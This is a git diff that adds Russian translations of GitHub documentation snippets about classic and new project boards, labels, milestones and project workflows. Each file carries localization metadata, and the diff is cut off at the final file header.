index 000000000000..6c0387a7cbc8 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/create-project-button.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a50decbf7b52c536207be66eeaead2a4a7cfe724 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092929" +--- +1. Нажмите **Создать проект**. diff --git a/translations/ru-RU/data/reusables/project-management/create-project-name-description.md b/translations/ru-RU/data/reusables/project-management/create-project-name-description.md new file mode 100644 index 000000000000..47c053201843 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/create-project-name-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 23eb663989c76f9081f52529c235eb117f01525c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879053" +--- +1. Введите имя и описание доски проекта. +![Поля имени и описания проекта, кнопка "Создать проект"](/assets/images/help/projects/name-description-create-button.png) diff --git a/translations/ru-RU/data/reusables/project-management/delete-label.md b/translations/ru-RU/data/reusables/project-management/delete-label.md new file mode 100644 index 000000000000..5b101a92f5e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/delete-label.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3fe3a402253c894821f7d0ec829e4a502605d80c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881150" +--- + 1. В списке меток справа от метки, которую вы хотите удалить, нажмите кнопку **Удалить**. diff --git a/translations/ru-RU/data/reusables/project-management/edit-in-project.md b/translations/ru-RU/data/reusables/project-management/edit-in-project.md new file mode 100644 index 000000000000..6eb04d13fff8 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/edit-in-project.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1f611df33dd53512e60eda47ed150a6c5410ed91 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423045" +--- +Ваша {% data variables.projects.projects_v1_board %} позволяет щелкнуть заголовок входящей в нее проблемы или запроса на вытягивание, чтобы просмотреть их или внести небольшие правки. diff --git a/translations/ru-RU/data/reusables/project-management/edit-label.md b/translations/ru-RU/data/reusables/project-management/edit-label.md new file mode 100644 index 000000000000..94fb307142f5 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/edit-label.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5360daf682906241477189aa0689a603d7e162a8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118776" +--- + 1. В списке меток справа от метки, которую вы хотите изменить, нажмите кнопку **Правка**. diff --git a/translations/ru-RU/data/reusables/project-management/edit-project-columns.md b/translations/ru-RU/data/reusables/project-management/edit-project-columns.md new file mode 100644 index 000000000000..0d46aaff9372 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/edit-project-columns.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8f316cd57bd7d9c2d4df327c0dd68e9f7457d1e6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879077" +--- +{% tip %} + +**Совет.** Чтобы изменить или удалить столбец из доски проекта, в правом верхнем углу столбца щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md b/translations/ru-RU/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md new file mode 100644 index 000000000000..a28c003ff714 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9697485d6b742936a7067979ddec6b7051545300 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878981" +--- +Дополнительные сведения о сочетаниях клавиш см. в статье "Доски проектов" в разделе [Сочетания клавиш](/articles/keyboard-shortcuts/#project-boards). diff --git a/translations/ru-RU/data/reusables/project-management/label-color-randomizer.md b/translations/ru-RU/data/reusables/project-management/label-color-randomizer.md new file mode 100644 index 000000000000..d7c66cc03d4d --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/label-color-randomizer.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5832873c651b9a21711e6646be71ad9f9c48b4c0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092921" +--- +1. Если необходимо настроить цвет метки, измените шестнадцатеричное число или нажмите кнопку "Обновить", чтобы выбрать другой случайный цвет. + ![Изменение цвета новой метки для проблем](/assets/images/help/issues/issues-color-refresh.png) diff --git a/translations/ru-RU/data/reusables/project-management/label-description.md b/translations/ru-RU/data/reusables/project-management/label-description.md new file mode 100644 index 000000000000..61fbeb8aea72 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/label-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 712bc53b3b85bb5981da66f6334fa5c0cc958c0e +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878709" +--- +1. В разделе "Описание" введите описание, чтобы помочь другим пользователям понять и использовать метку. + ![Поле для ввода описания метки](/assets/images/help/issues/label-description-field.png) diff --git a/translations/ru-RU/data/reusables/project-management/labels.md b/translations/ru-RU/data/reusables/project-management/labels.md new file mode 100644 index 000000000000..13535215050c --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/labels.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 57154eadb7598f4cda7cf75b2a39a817372ada01 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092918" +--- +1. Над списком проблем или запросов на вытягивание щелкните **Метки**. +![Вкладка "Метки" на странице проблем или запросов на вытягивание репозитория](/assets/images/help/issues/issues_labels_button.png) diff --git a/translations/ru-RU/data/reusables/project-management/link-repos-to-project-board.md b/translations/ru-RU/data/reusables/project-management/link-repos-to-project-board.md new file mode 100644 index 000000000000..a0af979ead02 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/link-repos-to-project-board.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 42d125992d04a86707c78bd3518e9d23fad7fa96 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879066" +--- +Пользовательская или корпоративная {% data variables.projects.projects_v1_board %} может быть связана с максимум 25 репозиториями. Имея связанные репозитории, {% data variables.projects.projects_v1_board %} сможет легче пополняться из них новыми проблемами и запросами на вытягивание. Это можно делать с помощью функции **{% octicon "plus" aria-label="The Plus icon" %} Добавить карточки** или из боковой панели проблем или запросов. diff --git a/translations/ru-RU/data/reusables/project-management/linked-repositories.md b/translations/ru-RU/data/reusables/project-management/linked-repositories.md new file mode 100644 index 000000000000..0994a800e8e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/linked-repositories.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 54e4b546b655d66f999d9a58069d8edf430f45c5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092914" +--- +1. При необходимости в разделе **Связанные репозитории** найдите репозиторий, который хотите связать с доской проекта. +![Поле поиска для связывания репозиториев](/assets/images/help/projects/search-to-link-repository-on-create.png) diff --git a/translations/ru-RU/data/reusables/project-management/milestones.md b/translations/ru-RU/data/reusables/project-management/milestones.md new file mode 100644 index 000000000000..37833d3895f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/milestones.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 62f7415c97d88bc3f50895c9ac83c85470f3ded5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118760" +--- +1. Рядом с полем поиска щелкните **Вехи**. +![Кнопка «Веха «Проблемы»](/assets/images/help/issues/issues_milestone_button.png) diff --git a/translations/ru-RU/data/reusables/project-management/name-label.md b/translations/ru-RU/data/reusables/project-management/name-label.md new file mode 100644 index 000000000000..f0094f072c8f --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/name-label.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 58661a14e214f23bc868b5c6b5b84fff43e6902c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879093" +--- +1. В поле "Имя метки" введите имя метки. + ![Поле для ввода имени метки](/assets/images/help/issues/Issues-Label-Create.png) diff --git a/translations/ru-RU/data/reusables/project-management/name-project-board-column.md b/translations/ru-RU/data/reusables/project-management/name-project-board-column.md new file mode 100644 index 000000000000..2de710ce1029 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/name-project-board-column.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8a0bcbc828cf83d89e89f966ba82db26a6cbf213 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118747" +--- +1. В поле "Имя столбца" введите имя создаваемого столбца. +![Ввод имени столбца](/assets/images/help/projects/type-column-name.png) diff --git a/translations/ru-RU/data/reusables/project-management/project-board-import-with-api.md b/translations/ru-RU/data/reusables/project-management/project-board-import-with-api.md new file mode 100644 index 000000000000..c32ede173275 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/project-board-import-with-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5b2171e809eaaa7a4cbf755548ac19bbd830025a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147081008" +--- +Для импорта доски проекта можно использовать API {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [importProject](/graphql/reference/mutations#importproject/). diff --git a/translations/ru-RU/data/reusables/project-management/project-board-permissions.md b/translations/ru-RU/data/reusables/project-management/project-board-permissions.md new file mode 100644 index 000000000000..dfc1857f6394 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/project-board-permissions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: a5f9f02613bb73fae390db71e6982f367087ae00 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884392" +--- +- **Чтение** — разрешение на просмотр {% data variables.projects.projects_v1_board %}. +- **Запись** — разрешение на просмотр {% data variables.projects.projects_v1_board %}, связывание репозиториев с {% data variables.projects.projects_v1_board %}, а также взаимодействие с {% data variables.projects.projects_v1_board %}. Дополнительные сведения см. в разделе [Связывание репозитория с {% data variables.product.prodname_project_v1 %}](/articles/linking-a-repository-to-a-project-board). +- **Администрирование** — разрешение на просмотр {% data variables.projects.projects_v1_board %}, взаимодействие с {% data variables.projects.projects_v1_board %}, управление параметрами {% data variables.projects.projects_v1_board %} и управление доступом других пользователей к {% data variables.projects.projects_v1_board %}. diff --git a/translations/ru-RU/data/reusables/project-management/project-board-visibility.md b/translations/ru-RU/data/reusables/project-management/project-board-visibility.md new file mode 100644 index 000000000000..366e1c27b746 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/project-board-visibility.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6f5f7b9a1ef172b471215d5ea66d834fb00e19d7 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879074" +--- +По умолчанию {% data variables.projects.projects_v1_boards %}, принадлежащие пользователям или всей организации, являются частными и видимы только пользователям с разрешениями на чтение, запись или администрирование для {% data variables.projects.projects_v1_board %}. {% ifversion ghae %}Внутренний{% else %}Общедоступный{% endif %} {% data variables.projects.projects_v1_board %} виден {% ifversion ghae %}любому пользователю с доступом к вашему предприятию{% else %}любому пользователю{% endif %} с URL-адресом {% data variables.projects.projects_v1_board %}. {% data variables.projects.projects_v1_boards %} на уровне репозитория имеет ту же видимость, что и у репозитория. То есть у частного репозитория будет частный проект, и эта видимость не может быть изменена. diff --git a/translations/ru-RU/data/reusables/project-management/project-note-more-options.md b/translations/ru-RU/data/reusables/project-management/project-note-more-options.md new file mode 100644 index 000000000000..33b6384a0d10 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/project-note-more-options.md @@ -0,0 +1,2 @@ +1. In the upper-right corner of the notes, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. + ![Horizontal kebab icon in upper-right corner of note](/assets/images/help/projects/note-more-options.png) diff --git a/translations/ru-RU/data/reusables/project-management/project-progress-locations.md b/translations/ru-RU/data/reusables/project-management/project-progress-locations.md new file mode 100644 index 000000000000..94a2e1db74c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/project-progress-locations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 47169e7d195fd9eddb48bdf6d9f0a0ff2bdd74e0 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879098" +--- +Если отслеживание хода выполнения включено, индикатор выполнения отображается над {% data variables.projects.projects_v1_board %}, на странице описания проекта, на боковой панели проблемы и в ссылках на проект на других {% data variables.projects.projects_v1_boards %}. diff --git a/translations/ru-RU/data/reusables/project-management/remove-collaborator.md b/translations/ru-RU/data/reusables/project-management/remove-collaborator.md new file mode 100644 index 000000000000..7897255d4d4a --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/remove-collaborator.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 71033e056d16686273baddc2784677eb500875a4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118704" +--- +4. Рядом с участником совместной работы, которого вы хотите удалить, нажмите кнопку **X**. ![Значок удаления «X» рядом с именем участника совместной работы](/assets/images/help/projects/remove-project-board-collaborator.png) diff --git a/translations/ru-RU/data/reusables/project-management/resync-automation.md b/translations/ru-RU/data/reusables/project-management/resync-automation.md new file mode 100644 index 000000000000..3baff6cd77a5 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/resync-automation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3eedd19ec708ed831bcc521555ba90cf89613779 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423127" +--- +Когда {% data variables.projects.projects_v1_board %} закрывается, если {% data variables.projects.projects_v1_board %} имеет автоматизированные рабочие процессы, они будут приостановлены. Если {% data variables.projects.projects_v1_board %} открывается повторно, вы можете синхронизировать автоматизацию, и тогда положение карточек на доске обновляется в соответствии с параметрами автоматизации, настроенными для проекта. Дополнительные сведения см. в статье [Повторное открытие закрытого компонента "{% data variables.product.prodname_project_v1 %}"](/articles/reopening-a-closed-project-board) или [Закрытие компонента "{% data variables.product.prodname_project_v1 %}"](/articles/closing-a-project-board). diff --git a/translations/ru-RU/data/reusables/project-management/save-label.md b/translations/ru-RU/data/reusables/project-management/save-label.md new file mode 100644 index 000000000000..d56a4d12813d --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/save-label.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 862fbcb804617513301d3893e9dd5e9a692d9aa9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118699" +--- + 1. Нажмите кнопку **Сохранить изменения**. diff --git a/translations/ru-RU/data/reusables/project-management/select-automation-options-new-column.md b/translations/ru-RU/data/reusables/project-management/select-automation-options-new-column.md new file mode 100644 index 000000000000..692fd16b7365 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/select-automation-options-new-column.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2b5e32ae0dfddab35b15a8af2c10e08635cc76fc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886793" +--- +1. Выберите операции автоматизации рабочих процессов, которые необходимо настроить для столбца. +![Список параметров для автоматизации столбца](/assets/images/help/projects/select-automation-options-new-column.png) diff --git a/translations/ru-RU/data/reusables/project-management/select-column-preset.md b/translations/ru-RU/data/reusables/project-management/select-column-preset.md new file mode 100644 index 000000000000..5ce9c47234c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/select-column-preset.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c9e2a0a49463573e4f86a16f071b49b2019ffdb4 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879061" +--- +1. При необходимости в разделе «Автоматизация» выберите предустановку автоматизации с помощью раскрывающегося меню. +![Выбор предустановки автоматизации в меню](/assets/images/help/projects/select-automation.png) diff --git a/translations/ru-RU/data/reusables/project-management/select-project.md b/translations/ru-RU/data/reusables/project-management/select-project.md new file mode 100644 index 000000000000..f9b2bf8c5800 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/select-project.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: fe922c4fcc9de292cd0f0c306b9761d0b8762576 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423247" +--- +1. В списке проектов щелкните имя, которое имеет {% data variables.projects.projects_v1_board %}. +![Выбор проекта](/assets/images/help/projects/select-project.png) diff --git a/translations/ru-RU/data/reusables/project-management/use-automated-template.md b/translations/ru-RU/data/reusables/project-management/use-automated-template.md new file mode 100644 index 000000000000..545ab561a8d2 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/use-automated-template.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 512f03650f2e348b374a929e99037fb098ffb7e2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423559" +--- +Если использовать шаблон компонента "{% data variables.projects.projects_v1_board %}", то {% data variables.projects.projects_v1_board %} может быть создана с уже настроенной автоматизацией. Подробнее см. [Сведения о компоненте "{% data variables.product.prodname_projects_v1 %}"](/articles/about-project-boards#templates-for-project-boards). diff --git a/translations/ru-RU/data/reusables/projects/about-workflows.md b/translations/ru-RU/data/reusables/projects/about-workflows.md new file mode 100644 index 000000000000..ba8787922a32 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/about-workflows.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6d9406bf1e4b268122142416f69c62e8f55337fe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423679" +--- +{% data variables.product.prodname_projects_v2 %} включают встроенные рабочие процессы, которые можно использовать для обновления **статуса** элементов с учетом определенных событий. Например, можно автоматически задать статус **Список задач** при добавлении элемента в проект или установить статус **Готово** при закрытии проблемы. + +Когда проект инициализируется, по умолчанию включаются два рабочих процесса: когда проблемы или запросы на вытягивание в проекте закрыты, их статус имеет значение **Готово**, а при объединении запросов на вытягивание в проекте для них устанавливается статус **Готово**. diff --git a/translations/ru-RU/data/reusables/projects/access-insights.md b/translations/ru-RU/data/reusables/projects/access-insights.md new file mode 100644 index 000000000000..e211db1d8951 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/access-insights.md @@ -0,0 +1,3 @@ +1. Navigate to your project. +2. In the top-right, to access insights, click {% octicon "graph" aria-label="the graph icon" %}. + ![Screenshot showing the insights icon](/assets/images/help/projects-v2/insights-button.png) diff --git a/translations/ru-RU/data/reusables/projects/access-workflows.md b/translations/ru-RU/data/reusables/projects/access-workflows.md new file mode 100644 index 000000000000..994124ddd56d --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/access-workflows.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2637ffcb5913f0c84f3ae092653c410ad0a5fdad +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106593" +--- +1. Перейдите к своему проекту +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: значок меню](/assets/images/help/projects-v2/open-menu.png) +1. В меню щелкните {% octicon "workflow" aria-label="The workflow icon" %} **Рабочие процессы**. + ![Снимок экрана: пункт меню "Рабочие процессы"](/assets/images/help/projects-v2/workflows-menu-item.png) diff --git a/translations/ru-RU/data/reusables/projects/add-draft-issue.md b/translations/ru-RU/data/reusables/projects/add-draft-issue.md new file mode 100644 index 000000000000..43995861aae2 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/add-draft-issue.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 303fc7fa60ba2ccc37689055f6056a59655a6eae +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109142" +--- +{% data reusables.projects.add-item-bottom-row %} +1. Введите идею и нажмите клавишу **ВВОД**. + ![Снимок экрана: вставка URL-адреса проблемы для добавления в проект](/assets/images/help/projects-v2/add-draft-issue.png) +1. Чтобы добавить основной текст, щелкните название черновика проблемы. В появившемся поле ввода Markdown введите текст черновика проблемы и нажмите **Сохранить**. diff --git a/translations/ru-RU/data/reusables/projects/add-item-bottom-row.md b/translations/ru-RU/data/reusables/projects/add-item-bottom-row.md new file mode 100644 index 000000000000..5969ed935b5c --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/add-item-bottom-row.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8af3f341f8b2a91038d1e489a1d2ed59d8743234 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109124" +--- +1. Установите курсор в нижнюю строку проекта рядом с {% octicon "plus" aria-label="plus icon" %}. + ![Снимок экрана: нижняя строка для добавления элемента](/assets/images/help/projects-v2/add-item.png) diff --git a/translations/ru-RU/data/reusables/projects/add-item-via-paste.md b/translations/ru-RU/data/reusables/projects/add-item-via-paste.md new file mode 100644 index 000000000000..5d79e5f416dd --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/add-item-via-paste.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 477122edeb960deca31d1ad0b97b7ad30681f23b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109424" +--- +{% data reusables.projects.add-item-bottom-row %} +1. Вставьте URL-адрес проблемы или запроса на вытягивание. + ![Снимок экрана: вставка URL-адреса проблемы для добавления в проект](/assets/images/help/projects-v2/paste-url-to-add.png) +3. Чтобы добавить проблему или запрос на вытягивание, нажмите Возврат. diff --git a/translations/ru-RU/data/reusables/projects/bulk-add.md b/translations/ru-RU/data/reusables/projects/bulk-add.md new file mode 100644 index 000000000000..c4fd191f9284 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/bulk-add.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: d0d7eb973a255091345f61ff69f8f20f6361d0d9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109154" +--- +1. При необходимости, чтобы изменить репозиторий, щелкните раскрывающийся список и выберите репозиторий. Также можно искать конкретные проблемы и запросы на вытягивание. + ![Снимок экрана: раскрывающийся список репозиториев](/assets/images/help/projects-v2/add-bulk-select-repo.png) +1. Выберите проблемы и запросы на вытягивание, которые вы хотите добавить. + ![Снимок экрана: выбор проблем и запросов на вытягивание для добавления](/assets/images/help/projects-v2/add-bulk-select-issues.png) +1. Щелкните **Добавить выбранные элементы**. + ![Снимок экрана: кнопка "Добавить выбранные элементы"](/assets/images/help/projects-v2/add-bulk-save.png) diff --git a/translations/ru-RU/data/reusables/projects/classic-project-creation.md b/translations/ru-RU/data/reusables/projects/classic-project-creation.md new file mode 100644 index 000000000000..6491524f7613 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/classic-project-creation.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 682ba253ea2660d8608033598343393372ae3cbf +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109416" +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечание.** Новую классическую доску проекта можно создать только для тех организаций, пользователей или репозиториев, у которых уже есть хотя бы одна классическая доска проекта. Если вам не удается создать классическую доску проекта, вместо этого создайте бета-версию доски проекта. Дополнительные сведения см. в статье [Создание проекта (бета-версия)](/issues/trying-out-the-new-projects-experience/creating-a-project). + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/projects/create-project.md b/translations/ru-RU/data/reusables/projects/create-project.md new file mode 100644 index 000000000000..37e7cb9dccbc --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/create-project.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 76eeed11f377193c3179cef8438bc9a932d5f4ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423295" +--- +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} +1. Под названием организации щелкните {% octicon "table" aria-label="The project icon" %} **Проекты**. + ![Снимок экрана вкладки "Проекты"](/assets/images/help/projects-v2/tab-projects.png) +1. Щелкните **Создать проект**. + ![Снимок экрана с кнопкой "Создать проект"](/assets/images/help/projects-v2/new-project-button.png) +1. При появлении запроса на выбор шаблона щелкните шаблон или, чтобы начать с пустого проекта, щелкните **Таблица** или **Доска**. Затем нажмите кнопку **Создать**. + + ![Снимок экрана: диалоговое окно выбора шаблона](/assets/images/help/issues/projects-select-template.png) diff --git a/translations/ru-RU/data/reusables/projects/create-user-project.md b/translations/ru-RU/data/reusables/projects/create-user-project.md new file mode 100644 index 000000000000..f3caf2d52b2c --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/create-user-project.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: db4d0f2e82f8d7044c4c1c53f0ba2e19bec59dcc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882830" +--- +{% data reusables.profile.access_profile %} +1. В своем профиле щелкните {% octicon "table" aria-label="The project icon" %} **Проекты**. + ![Снимок экрана вкладки "Проекты"](/assets/images/help/projects-v2/tab-projects.png) +1. Щелкните **Создать проект**. + ![Новый проект](/assets/images/help/projects-v2/new-project-button.png) +1. При появлении запроса на выбор шаблона щелкните шаблон или, чтобы начать с пустого проекта, щелкните **Таблица** или **Доска**. Затем нажмите кнопку **Создать**. + + ![Снимок экрана: диалоговое окно выбора шаблона](/assets/images/help/issues/projects-select-template.png) diff --git a/translations/ru-RU/data/reusables/projects/disabled-projects.md b/translations/ru-RU/data/reusables/projects/disabled-projects.md new file mode 100644 index 000000000000..a9e8b3274271 --- 